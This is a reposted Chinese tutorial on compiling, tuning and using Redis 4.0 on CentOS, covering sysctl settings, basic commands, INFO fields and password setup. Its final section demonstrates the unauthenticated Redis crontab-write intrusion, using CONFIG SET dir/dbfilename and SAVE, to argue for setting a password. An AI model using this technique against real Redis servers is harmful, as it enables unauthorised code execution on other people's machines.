Redis4.0数据库:Redis4.0之持久化存储(上)

Posted jiuliucainiao

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Redis4.0数据库:Redis4.0之持久化存储(上)相关的知识,希望对你有一定的参考价值。

一,redis概述与实验环境说明

 

1.1 什么是redis

redis是一种内存型的NoSQL数据库,优点是快,常用来做缓存用
redis存储数据的方法是以key-value的形式
value类型支持字符串,列表,哈希等多种类型

1.2 环境说明

主机名
IP
用途
redis01
192.168.200.180
redis-master
#初始化系统环境
[root@redis01 ~]# cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)
[root@redis01 ~]# uname -r
3.10.0-862.el7.x86_64
[root@redis01 ~]# systemctl stop firewalld
[root@redis01 ~]# systemctl disable firewalld
[root@redis01 ~]# setenforce 0
setenforce: SELinux is disabled
[root@redis01 ~]# sestatus
SELinux status: disabled
1.3 yum仓库使用技巧
#查找一个命令出自哪个rpm包
[root@redis01 ~]# yum provides "*bin/ifconfig"
已加载插件:fastestmirror
Loading mirror speeds from cached hostfile
* base: mirrors.huaweicloud.com
* c7-media:
* extras: mirrors.huaweicloud.com
* updates: mirrors.huaweicloud.com
c7-media/filelists_db | 3.1 MB 00:00:00
net-tools-2.0-0.22.20131004git.el7.x86_64 : Basic networking tools
源 :c7-media
匹配来源:
文件名 :/sbin/ifconfig
 
base/7/x86_64/filelists_db | 7.3 MB 00:00:01
net-tools-2.0-0.25.20131004git.el7.x86_64 : Basic networking tools
源 :base
匹配来源:
文件名 :/sbin/ifconfig

二,Redis服务器4.0版本源码编译安装

Redis所有包
提取码:mi60
 

2.1 redis下载地址

https://redis.io/download

2.2 redis源码编译

#安装支持包
[root@redis01 ~]# yum -y install wget gcc gcc-c++ make tar openssl openssl-devel cmake
[root@redis01 ~]# rpm -q wget gcc gcc-c++ make tar openssl openssl-devel cmake
#编译安装redis
[root@redis01 ~]# tar xf redis-4.0.11.tar.gz -C /usr/src/
[root@redis01 ~]# cd /usr/src/redis-4.0.11/
[root@redis01 redis-4.0.11]# make && make MALLOC=jemalloc && make PREFIX=/usr/local/redis install #MALLOC内存分配规则
root@redis01 redis-4.0.11]# cd /usr/local/redis/
[root@redis01 redis]# ls
bin
[root@redis01 redis]# mkdir -p /usr/local/redis/conf
[root@redis01 redis]# cp /usr/src/redis-4.0.11/sentinel.conf /usr/local/redis/conf/
[root@redis01 redis]# cp /usr/src/redis-4.0.11/redis.conf /usr/local/redis/conf/
[root@redis01 redis]# ln -s /usr/local/redis/bin/* /usr/local/bin/
[root@redis01 redis]# which redis-server
/usr/local/bin/redis-server
 
[root@redis01 redis]# redis-server --version #redis服务端链接命令
Redis server v=4.0.11 sha=00000000:0 malloc=jemalloc-4.0.3 bits=64 build=3d830bec1da71c60
[root@redis01 local]# redis-cli --version #redis客户端链接命令
三,Redis服务器启动和系统参数调整

3.1 简化redis配置文件

[root@redis01 redis]# pwd
/usr/local/redis
[root@redis01 redis]# cp conf/redis.conf{,.bak}
[root@redis01 redis]# egrep -v "^$|^#" conf/redis.conf.bak >conf/redis.conf
[root@redis01 redis]# mkdir -p /data/redis #创建redis数据目录

3.2 更改redis配置文件/usr/local/redis/conf/redis.conf

#修改redis配置文件
[root@redis01 redis]# vim conf/redis.conf
[root@redis01 redis]# cat -n conf/redis.conf | sed -n ‘1p;3p;4p;7p;9p;11p;21p‘
1 bind 0.0.0.0 #监听地址
3 port 6379 #tcp连接数
4 tcp-backlog 1024
7 daemonize yes #是否后台启动
9 pidfile /data/redis/redis.pid #pid存放目录
11 logfile "/data/redis/redis.log" #日志存放目录
21 dir /data/redis #工作目录

3.3 redis服务器启动和关闭

#启动redis服务器配置文件
[root@redis01 redis]# redis-server /usr/local/redis/conf/redis.conf
[root@redis01 redis]# netstat -antup | grep redis
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN 4707/redis-server 0
#关闭redis服务器
[root@redis01 local]# redis-cli shutdown
[root@redis01 local]# netstat -antup | grep redis
#连接redis服务器
[root@redis01 local]# redis-server /usr/local/redis/conf/redis.conf
[root@redis01 local]# redis-cli #不写默认是-p 6379 -h 127.0.0.1
127.0.0.1:6379> exit #退出交互界面

3.4 系统参数优化调整

#启动redis以后,我们查看系统日志
[root@redis01 local]# cat /data/redis/redis.log
4782:C 14 Apr 18:28:51.712 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
4782:C 14 Apr 18:28:51.713 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=4782, just started
4782:C 14 Apr 18:28:51.713 # Configuration loaded
4783:M 14 Apr 18:28:51.718 * Increased maximum number of open files to 10032 (it was originally set to 1024).#警告提示1:系统文件描述符设置的太小了,才1024,我们最好设置到10032
_._
_.-``__ ‘‘-._
_.-`` `. `_. ‘‘-._ Redis 4.0.11 (00000000/0) 64 bit
.-`` .-```. ```/ _.,_ ‘‘-._
( ‘ , .-` | `, ) Running in standalone mode
|`-._`-...-` __...-.``-._|‘` _.-‘| Port: 6379
| `-._ `._ / _.-‘ | PID: 4783
`-._ `-._ `-./ _.-‘ _.-‘
|`-._`-._ `-.__.-‘ _.-‘_.-‘|
| `-._`-._ _.-‘_.-‘ | http://redis.io
`-._ `-._`-.__.-‘_.-‘ _.-‘
|`-._`-._ `-.__.-‘ _.-‘_.-‘|
| `-._`-._ _.-‘_.-‘ |
`-._ `-._`-.__.-‘_.-‘ _.-‘
`-._ `-.__.-‘ _.-‘
`-._ _.-‘
`-.__.-‘
 
 
4783:M 14 Apr 18:28:51.721 # WARNING: The TCP backlog setting of 1024 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.#警告提示2:对一个高负载的环境来说tcp设置128这个值,太小了
4783:M 14 Apr 18:28:51.721 # Server initialized
4783:M 14 Apr 18:28:51.721 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add ‘vm.overcommit_memory = 1‘ to /etc/sysctl.conf and then reboot or run the command ‘sysctl vm.overcommit_memory=1‘ for this to take effect.#警告提示3:overcommit_memory=0为不允许超额抢占内存,但是,rdb保存可能会失败。建议将vm.overcommit_memory = 1进行修改
4783:M 14 Apr 18:28:51.721 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command ‘echo never > /sys/kernel/mm/transparent_hugepage/enabled‘ as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.#警告提示4:你的内核中启用了巨大内存页的支持,这将与redis的延迟内存使用冲突。
4783:M 14 Apr 18:28:51.721 * DB loaded from disk: 0.000 seconds
4783:M 14 Apr 18:28:51.721 * Ready to accept connections
 

(1)调整系统文件描述符

[root@redis01 local]# echo "* - nofile 10240" >> /etc/security/limits.conf
[root@redis01 local]# tail -1 /etc/security/limits.conf
* - nofile 10240
[root@redis01 local]# ulimit -n
1024
#这里我们只需要Xshell重新登录一下即可。
[root@redis01 ~]# ulimit -n
10240
(2)调整系统tcp连接数
[root@redis01 local]# sysctl -a | grep soma
net.core.somaxconn = 128
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.ens33.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
[root@redis01 local]# echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf
[root@redis01 local]# sysctl -p
net.core.somaxconn = 10240

(3)调整系统内存分配策略

[root@redis01 ~]# echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf
[root@redis01 ~]# tail -1 /etc/sysctl.conf
vm.overcommit_memory = 1
[root@redis01 ~]# sysctl -p
net.core.somaxconn = 10240
vm.overcommit_memory = 1
[root@redis01 ~]# sysctl -a | grep commit
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.ens33.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
vm.nr_overcommit_hugepages = 0
vm.overcommit_kbytes = 0
vm.overcommit_memory = 1 #设置好了
vm.overcommit_ratio = 50

(4)关闭系统内核的巨大内存页支持

[root@redis01 ~]# cat /sys/kernel/mm/transparent_hugepage/enabled
always madvise [never]
[root@redis01 ~]# echo never > /sys/kernel/mm/transparent_hugepage/defrag
[root@redis01 ~]# cat /sys/kernel/mm/transparent_hugepage/defrag
always madvise [never]
#添加到/etc/rc.local开机自动关闭系统内核的巨大内存页支持
[root@redis01 ~]# echo ‘echo never > /sys/kernel/mm/transparent_hugepage/enabled‘ >> /etc/rc.local
[root@redis01 ~]# echo ‘echo never > /sys/kernel/mm/transparent_hugepage/defrag‘ >> /etc/rc.local
[root@redis01 ~]# tail -2 /etc/rc.local
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag

(5)重启redis-server验证修改

#关闭redis并清空日志
[root@redis01 ~]# redis-cli shutdown
[root@redis01 ~]# netstat -antup | grep redis
[root@redis01 ~]# > /data/redis/redis.log #清空日志
#启动redis并查看日志
[root@redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
[root@redis01 ~]# cat /data/redis/redis.log
17692:C 14 Apr 18:55:50.448 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
17692:C 14 Apr 18:55:50.448 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=17692, just started
17692:C 14 Apr 18:55:50.448 # Configuration loaded
_._
_.-``__ ‘‘-._
_.-`` `. `_. ‘‘-._ Redis 4.0.11 (00000000/0) 64 bit
.-`` .-```. ```/ _.,_ ‘‘-._
( ‘ , .-` | `, ) Running in standalone mode
|`-._`-...-` __...-.``-._|‘` _.-‘| Port: 6379
| `-._ `._ / _.-‘ | PID: 17693
`-._ `-._ `-./ _.-‘ _.-‘
|`-._`-._ `-.__.-‘ _.-‘_.-‘|
| `-._`-._ _.-‘_.-‘ | http://redis.io
`-._ `-._`-.__.-‘_.-‘ _.-‘
|`-._`-._ `-.__.-‘ _.-‘_.-‘|
| `-._`-._ _.-‘_.-‘ |
`-._ `-._`-.__.-‘_.-‘ _.-‘
`-._ `-.__.-‘ _.-‘
`-._ _.-‘
`-.__.-‘
 
 
17693:M 14 Apr 18:55:50.453 # Server initialized
17693:M 14 Apr 18:55:50.454 * DB loaded from disk: 0.000 seconds
17693:M 14 Apr 18:55:50.454 * Ready to accept connections

四,Redis客户端使用和字符串简单操作

mysql命令用来跟MySQL服务器进行交互
redis-cli命令用来跟redis服务器进行交互

4.1 使用redis-cli客户端登陆redis-server

[root@redis01 ~]# redis-cli
127.0.0.1:6379> exit
[root@redis01 ~]# redis-cli -h localhost -p 6379
localhost:6379> exit

4.2 redis字符串操作

[root@redis01 ~]# redis-cli
127.0.0.1:6379> set name Mr.king #增加键(key)和值(value)
OK
127.0.0.1:6379> get name #根据键获取值
"Mr.king"
127.0.0.1:6379> set name yunjisuan #修改键的值
OK
127.0.0.1:6379> get name
"yunjisuan"
127.0.0.1:6379> del name #删除,返回1代表删除成功
(integer) 1
127.0.0.1:6379> GET name #命令不区分大小写
(nil)
127.0.0.1:6379> set NAME test
OK
127.0.0.1:6379> get name
(nil)
127.0.0.1:6379> get NAME #key区分大小写
"test"

4.3 非交互式操作redis服务器

[root@redis01 ~]# redis-cli set name welcome
OK
[root@redis01 ~]# redis-cli get name
"welcome"
[root@redis01 ~]# redis-cli del name
(integer) 1
[root@redis01 ~]# redis-cli get name
(nil)

五,Redis列表集合简单操作

redis的key都是字符串,value支持字符串,列表,集合等

5.1 redis列表的操作,有序的可重复的

列表就是有顺序的,可重复的一堆值的组合

[root@redis01 ~]# redis-cli
127.0.0.1:6379> lpush names yun1 #创建一个列表names,并从左边推入一个值yun1
(integer) 1
127.0.0.1:6379> lpush names yun2
(integer) 2
127.0.0.1:6379> lpush names yun3
(integer) 3
127.0.0.1:6379> lpush names yun
(integer) 4
127.0.0.1:6379> lpush names yun4
(integer) 5
127.0.0.1:6379> lpush names yun5
(integer) 6
127.0.0.1:6379> lrange names 0 -1 #查看列表names从索引0开始到结束所有的值
1) "yun5"
2) "yun4"
3) "yun"
4) "yun3"
127.0.0.1:6379> lrange names 0 1 #查看索引0和1的值
1) "yun5"
2) "yun4"
127.0.0.1:6379> lrange names 0 2
1) "yun5"
2) "yun4"
3) "yun"
127.0.0.1:6379> lrange names 0 0
1) "yun5"
127.0.0.1:6379> lrange names 0 5
1) "yun5"
2) "yun4"
3) "yun"
4) "yun3"
5) "yun2"
6) "yun1"
127.0.0.1:6379> lpush names yun
(integer) 7
127.0.0.1:6379> lrange names 0 -11
(empty list or set)
127.0.0.1:6379> lrange names 0 -1
1) "yun" #有两个yun
2) "yun5"
3) "yun4"
4) "yun"#有两个yun
5) "yun3"
6) "yun2"
7) "yun1"
127.0.0.1:6379> lrem names 1 yun #从左边数删除第一个yun
(integer) 1
127.0.0.1:6379> lrange names 0 -1
1) "yun5"
2) "yun4"
3) "yun"
4) "yun3"
5) "yun2"
6) "yun1"
127.0.0.1:6379> lrem names 1 yun
(integer) 1
127.0.0.1:6379> lrange names 0 -1
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
5) "yun1"
127.0.0.1:6379> lpush names yun #从列表的左边加入一个元素yun
(integer) 6
127.0.0.1:6379> rpush names yun #从列表的右边加入一个元素yun
(integer) 7
127.0.0.1:6379> lrange names 0 -1
1) "yun"
2) "yun5"
3) "yun4"
4) "yun3"
5) "yun2"
6) "yun1"
7) "yun"
127.0.0.1:6379> lrem names 0 yun #从列表的左边数删除所有的yun元素
(integer) 2
127.0.0.1:6379> lrange names 0 -1
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
5) "yun1"
127.0.0.1:6379> lpop names#移除列表最左边的元素
"yun5"
127.0.0.1:6379> lpop names
"yun4"
127.0.0.1:6379> lpop names
"yun3"
127.0.0.1:6379> lpop names
"yun2"
127.0.0.1:6379> lpop names
"yun1"
127.0.0.1:6379> lpush names yun1
(integer) 1
127.0.0.1:6379> lpush names yun2
(integer) 2
127.0.0.1:6379> lpush names yun3
(integer) 3
127.0.0.1:6379> lpush names yun4
(integer) 4
127.0.0.1:6379> lpush names yun5
(integer) 5
127.0.0.1:6379> lrange names 0 -1
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
5) "yun1"
127.0.0.1:6379> rpop names #移除列表最右边的元素
"yun1"
127.0.0.1:6379> rpop names
"yun2"
127.0.0.1:6379> rpop names
"yun3"
127.0.0.1:6379> lrange names 0 -1
1) "yun5"
2) "yun4"
127.0.0.1:6379> lset names 0 yun #修改列表左起第一个元素
OK
127.0.0.1:6379> lrange names 0 -1
1) "yun"
2) "yun4"

5.2 redis集合的操作,无序的不重复的

集合就是不能重复的,无固定顺序的列表
 
127.0.0.1:6379> sadd ages 25#向集合中添加元素
(integer) 1
127.0.0.1:6379> sadd ages 30
(integer) 1
127.0.0.1:6379> sadd ages 35
(integer) 1
127.0.0.1:6379> sadd ages 40
(integer) 1
127.0.0.1:6379> sadd ages 45
(integer) 1
127.0.0.1:6379> sadd ages 50
(integer) 1
127.0.0.1:6379> sadd ages 25 #失败,集合的元素具有唯一性
(integer) 0
127.0.0.1:6379> smembers ages #查看集合里的元素
1) "25"
2) "30"
3) "35"
4) "40"
5) "45"
6) "50"
127.0.0.1:6379> srem ages 25 #移除集合里是25的元素
(integer) 1
127.0.0.1:6379> spop ages #随机移除集合里的一个元素
"50"
127.0.0.1:6379> smembers ages
1) "30"
2) "35"
3) "40"
4) "45"
127.0.0.1:6379> sismember ages 40 #查找集合里是否有40的元素
(integer) 1
127.0.0.1:6379> smembers ages
1) "30"
2) "35"
3) "40"
4) "45"
 

六,Redis的hash和订阅简单操作

 

6.1 redis的hash操作

hash就是可以存多个键值对的组合(类似python字典)
 
127.0.0.1:6379> hset info name ‘yunjisuan‘ #增加一个hash
(integer) 1
127.0.0.1:6379> hset info age 25
(integer) 1
127.0.0.1:6379> hset info location ‘beijing‘
(integer) 1
127.0.0.1:6379> hgetall info
1) "name"
2) "yunjisuan"
3) "age"
4) "25"
5) "location"
6) "beijing"
127.0.0.1:6379> hget info name
"yunjisuan"
127.0.0.1:6379> hget info name age
(error) ERR wrong number of arguments for ‘hget‘ command
127.0.0.1:6379> hdel info name age
(integer) 2
127.0.0.1:6379> hgetall info
1) "location"
2) "beijing"
127.0.0.1:6379> del info
(integer) 1
127.0.0.1:6379> hmset info name ‘yunjisuan‘ age 25 location ‘beijing‘
OK
127.0.0.1:6379> hgetall info
1) "name"
2) "yunjisuan"
3) "age"
4) "25"
5) "location"
6) "beijing"

6.2 redis的订阅操作

开启redis的订阅功能

#开启redis
[root@redis01 ~]# redis-cli
127.0.0.1:6379> subscribe yujisuan #开启频道名:yunjisuan的订阅功能,可开启多个窗口进行订阅
Reading messages... (press Ctrl-C to quit)
1) "subscribe"
2) "yujisuan"
3) (integer) 1
#新开Xshell ssh对频道进行内容推送
[root@redis01 ~]# redis-cli
127.0.0.1:6379> publish yunjisuan ‘welcome‘ #向频道yunjisuan推送welcome
(integer) 1 #推送成功的人数
七,使用Shell往Redis批量添加数据

(1)批量往redis server上插入数据

[root@redis01 ~]# for line in `seq -w 50`;do redis-cli set name_${line} value_${line};done

(2)查看key的情况

[root@redis01 ~]# redis-cli
127.0.0.1:6379> keys * #查看所有key命令,不建议使用,上千万的key会使redis服务器堵塞
127.0.0.1:6379> randomkey #随机返回一个key
"name_37"
127.0.0.1:6379> scan 0 #分页查看key
1) "28"
2) 1) "name_34"
2) "name_33"
3) "name_01"
4) "name_10"
5) "name_18"
6) "name_24"
7) "name_23"
8) "name_49"
9) "name_40"
10) "name_22"
八,Redis服务器info状态信息查看
redis提供了一个info命令查看redis服务器的信息,类似Linux提供一个top命令查看系统的信息
[root@redis01 ~]# redis-cli info
#Server服务器的信息
redis_version:4.0.11 #redis服务器版本
redis_git_sha1:00000000 #Git SHA1
redis_git_dirty:0 #Git dirty flag
redis_build_id:feb84973011f5402 #redis build id
redis_mode:standalone #运行模式,单机或集群
os:Linux 3.10.0-862.3.3.el7.x86_64 x86_64 #redis服务器宿主机操作系统
arch_bits:64 #架构64位
multiplexing_api:epoll #redis所使用的事件处理模型,epol异步非阻塞模型
atomicvar_api:atomic-builtin
gcc_version:4.8.5 #编译redis时gcc版本
process_id:19450 #redis服务器进程的pid
run_id:119ba49e27f25b118aaeb8829c60f32771906687 #redis服务器的随机标识符(sentinel和集群)
tcp_port:6379 #redis服务器监听端口
uptime_in_seconds:88667 #redis服务器启动总时间,单位秒
uptime_in_days:1 #redis服务器启动总时间,单位天
hz:10 #redis内部调度频率(关闭timeout客户端,删除过期key)
lru_clock:7188187 #自增时间,用于LRU管理
executable:/root/redis-server
config_file:/usr/local/redis/conf/redis.conf #配置文件路径
# Clients 已连接客户端信息
connected_clients:1 #已经连接客户端数量(不包括slave连接的客户端)
client_longest_output_list:0 #当前连接的客户端当中,最长的输出列表
client_biggest_input_buf:0 #当前客户端当中,最大输入缓存。
blocked_clients:0 #正在等待阻塞命令的客户端数量
# Memory 内存信息
used_memory:853016 #由redis分配器分配的内存总量,单位字节
used_memory_human:833.02K #以可读方式返回redis已分配的内存总量
used_memory_rss:2457600 #从操作系统角度,返回redis已分配内存总量
used_memory_rss_human:2.34M #以可读方式返回redis已分配的内存总量
used_memory_peak:931760 #redis的内存消耗峰值(以字节为单位)
used_memory_peak_human:909.92K #以可读方式返回redis内存消耗峰值
used_memory_peak_perc:91.55%
used_memory_overhead:838934
used_memory_startup:786592
used_memory_dataset:14082
used_memory_dataset_perc:21.20%
total_system_memory:1021898752
total_system_memory_human:974.56M
used_memory_lua:37888 #lua引擎所使用的内存大小(单位字节)
used_memory_lua_human:37.00K
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
mem_fragmentation_ratio:2.88 #used_memory_rss和used_memory比率,小于1表示使用了swap,大于1表示碎片多,redis进行增加删除的动作,会引起内存碎片化
mem_allocator:jemalloc-4.0.3 #编译时指定的redis的内存分配器。越好的分配器内存碎片化率越低,低版本建议升级
active_defrag_running:0
lazyfree_pending_objects:0
# Persistence rdb和aof的持久化相关信息
loading:0 #服务器是否正在载入持久化文件
rdb_changes_since_last_save:0 #有多少个已经写入的命令还未被持久化
rdb_bgsave_in_progress:0 #服务器是否正在创建rdb文件
rdb_last_save_time:1533913162 #已经有多长时间没有进行持久化了
rdb_last_bgsave_status:ok #最后一次的rdb持久化是否成功
rdb_last_bgsave_time_sec:0 #最后一次生成rdb文件耗时秒数
rdb_current_bgsave_time_sec:-1 #如果服务器正在创建rdb文件,那么当前这个记录就是创建操作耗时秒数
rdb_last_cow_size:303104
aof_enabled:0 #是否开启了aof
aof_rewrite_in_progress:0 #标识aof的rewrite操作是否进行中
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok #上次bgrewriteaof操作的状态
aof_last_write_status:ok #上一次aof写入状态
aof_last_cow_size:0
# Stats 一般统计信息
total_connections_received:129 #新创建的链接个数,如果过多,会影响性能
total_commands_processed:226 #redis处理的命令数
instantaneous_ops_per_sec:0 #redis当前的qps,redis内部较实时的每秒执行命令数
total_net_input_bytes:8324 #redis网络入口流量字节数
total_net_output_bytes:192093 #redis网络出口流量字节数
instantaneous_input_kbps:0.00 #redis网络入口kps
instantaneous_output_kbps:0.00 #redis网络出口kps
rejected_connections:0 #拒绝的连接个数,redis连接个数已经达到maxclients限制。
sync_full:0 #主从完全同步成功次数
sync_partial_ok:0 #主从部分同步成功次数
sync_partial_err:0 #主从部分同步失败次数
expired_keys:0 #运行以来过期的key的数量
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0 #运行以来剔除(超过maxmemory)的key的数量
keyspace_hits:29 #命中次数
keyspace_misses:3 #没命中次数
pubsub_channels:0 #当前使用中的频道数量
pubsub_patterns:0 #当前使用的模式数量
latest_fork_usec:92
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0
# Replication 主从信息
role:master
connected_slaves:0
master_replid:3a56d66723917199a5a86317dfecefda5588c0cc
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0 #主从同步偏移量(主从数据不一致)
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:16.81
used_cpu_user:8.75
used_cpu_sys_children:0.02
used_cpu_user_children:0.00
# Cluster 集群相关信息
cluster_enabled:0
# Keyspace 数据库相关信息
db0:keys=55,expires=0,avg_ttl=0 #db0的key数量以及带有生存周期的key的个数,平均存活时间

九,Redis服务器加密和无密码攻击演示

redis无密码如果放在公网的话,会被攻击

9.1 给redis增加密码的两种方式

(1)通过redis配置文件增加密码

#给配置文件增加密码参数
[root@redis01 ~]# echo ‘requirepass "yunjisuan"‘ >> /usr/local/redis/conf/redis.conf
[root@redis01 ~]# tail -1 /usr/local/redis/conf/redis.conf
requirepass "yunjisuan"
[root@redis01 ~]# redis-cli shutdown #重启redis
[root@redis01 ~]# netstat -antup | grep redis
tcp 1 0 127.0.0.1:39274 127.0.0.1:6379 CLOSE_WAIT 22285/redis-cli
[root@redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
[root@redis01 ~]# netstat -antup | grep redis
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN 24084/redis-server
tcp 1 0 127.0.0.1:39274 127.0.0.1:6379 CLOSE_WAIT 22285/redis-cli
[root@redis01 ~]# redis-cli
127.0.0.1:6379> keys *
(error) NOAUTH Authentication required. #需要验证才能查看,密码起作用了
127.0.0.1:6379> auth yunjisuan #通过auth 密码的方式进行验证
OK
127.0.0.1:6379> set name benet
OK
#非交互式输入密码进行登录
[root@redis01 ~]# redis-cli -h 127.0.0.1 -p 6379 -a yunjisuan get name
#警告:使用-a方式输入密码并不安全
Warning: Using a password with ‘-a‘ option on the command line interface may not be safe.
"benet"

(2)使用交互式的方式给redis增加密码(无需重启redis)

 

#将之前在配置文件里设置的密码参数删除
[root@redis01 ~]# sed -i ‘$d‘ /usr/local/redis/conf/redis.conf
[root@redis01 ~]# tail -1 /usr/local/redis/conf/redis.conf
aof-rewrite-incremental-fsync yes
 
#重启redis-server
[root@redis01 ~]# redis-cli -a yunjisuan shutdown
Warning: Using a password with ‘-a‘ option on the command line interface may not be safe.
[root@redis01 ~]# netstat -antup | grep redis
[root@redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
[root@redis01 ~]# netstat -antup | grep redis
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN 24399/redis-server

#交互式登陆redis设置密码

[root@redis01 ~]# redis-cli

127.0.0.1:6379>

127.0.0.1:6379> get name

"benet"

127.0.0.1:6379> config get requirepass #获取redis配置的密码信息

1) "requirepass"

2) ""#此时密码空

127.0.0.1:6379> config set requirepass yunjisuan #给redis设置密码

OK

127.0.0.1:6379> config get requirepass

(error) NOAUTH Authentication required. #密码即时生效

127.0.0.1:6379> auth yunjisuan #进行密码验证

OK

127.0.0.1:6379> config get requirepass #查看密码配置信息

1) "requirepass"

2) "yunjisuan"#有密码了

127.0.0.1:6379> config rewrite #将配置重写进行保存

OK

 

#查看redis配置文件最后两行

[root@redis01 ~]# tail -2 /usr/local/redis/conf/redis.conf

# Generated by CONFIG REWRITE

requirepass "yunjisuan" #增加了密码配置

9.2 入侵无密码redis服务器演示(事先清空了密码)

[root@redis01 ~]# redis-cli -h 127.0.0.1 config set dir /etc/
OK
[root@redis01 ~]# redis-cli -h 127.0.0.1 config set dbfilename "crontab"
OK
[root@redis01 ~]# echo "* * * * * root echo ‘attack‘" >> /tmp/attack
[root@redis01 ~]# vim /tmp/attack
[root@redis01 ~]# cat /tmp/attack
 
 
* * * * * root echo ‘attack‘
 
 
[root@redis01 ~]# cat /tmp/attack | redis-cli -h 127.0.0.1 -x set attack
OK
[root@redis01 ~]# redis-cli -h 127.0.0.1 save
OK
#查看/etc/crontab文件
[root@redis01 ~]# cat /etc/crontab
REDIS0008 redis-ver4.0.11
redis-bits????e(used-mem`
aof-preamble~??e_1value_17name_4value_48name_3value_36name_1value_10name_2value_28name_3value_32name_2value_23name_1value_15name_1value_11name_4value_45name_3value_33name_4value_44name_1value_13name_4value_42name_3value_30name_4value_46name_4value_40name_0value_09name_0value_06name_2value_25name_2value_21name_0value_01name_2value_29name_0value_03namebenetname_3value_34name_4value_49name_2value_26name_0value_08name_1value_14attack!
 
 
* * * * * root echo ‘attack‘#这里出现了这条定时任务,这条任务每分钟都会被触发
 
 
 
 
name_3value_39name_4value_47name_0value_05name_1value_16name_1value_18name_2value_24name_0value_02name_1value_12name_2value_20
ages#(-name_1value_19name_2value_22name_0value_07name_3value_35name_0value_04NAMEtestname_4vinfo77-name_2valyunjisuan_4value_41name_3value_31name_3value_38name_5value_50namesyunyun4ÿname_3value_37
agelocation
[root@redis01 ~]# XshellXshellXshellXshellXshell^C
您在 /var/spool/mail/root 中有新邮件
#然后你的redis服务器就会被攻击了
 
 

以上是关于Redis4.0数据库:Redis4.0之持久化存储(上)的主要内容,如果未能解决你的问题,请参考以下文章

Redis4.0之持久化存储

Redis4.0 之持久化存储

Redis4.0 主从复制(PSYN2.0)

Redis4.0 主从复制(PSYN2.0)

Linux上编译Redis4.0.2

redis4.0 源码分析